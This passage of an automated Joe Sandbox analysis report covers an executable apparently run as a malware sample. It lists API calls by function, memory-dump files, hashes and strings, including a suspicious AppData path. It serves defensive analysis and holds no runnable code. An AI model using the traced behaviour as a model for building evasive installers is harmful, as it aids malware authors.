SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 6CF12993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6CF1505C,?,?,6CF1504C), ref: 6CF129B1

Memory Dump Source

Source File: 00000000.00000002.2464950937.000000006CF11000.00000020.00000001.01000000.00000004.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.2464871451.000000006CF10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2464976083.000000006CF14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2465039264.000000006CF16000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_c7WJL1gt32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6c5c9cbbbeff76ab4b1ffa5ac3385cba4d11520351e23d56e6e2e652fe8e08f3
Instruction ID: 8698bc387c273d60f33adf007a6ef3a4dfabdf5c29a38e23e8ebbe3f192b2db2
Opcode Fuzzy Hash: 6c5c9cbbbeff76ab4b1ffa5ac3385cba4d11520351e23d56e6e2e652fe8e08f3
Instruction Fuzzy Hash: 99F0AEB0F38282DECBD0CFA9C8467093FF0B71A304B568A2AE18AD6E40E3354544DF91

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000001,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,?), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(?,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,?), ref: 0040578D
ShowWindow.USER32(?), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,?,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,?,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,?,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,?,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,?,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

Call, xrefs: 004049B1, 004049B6, 004049C1
A, xrefs: 00404973
(7B, xrefs: 0040494D

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$Call
API String ID: 2624150263-413618503
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,?), ref: 00402183

Strings

C:\Users\user\AppData\Local\Iw\Bombestoppets, xrefs: 004021C3

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Iw\Bombestoppets
API String ID: 542301482-542753526
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(?,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA
Call, xrefs: 004046FB

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,?,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\c7WJL1gt32.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

[Rename], xrefs: 0040611D, 0040612F
%ls=%ls, xrefs: 004060A9

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

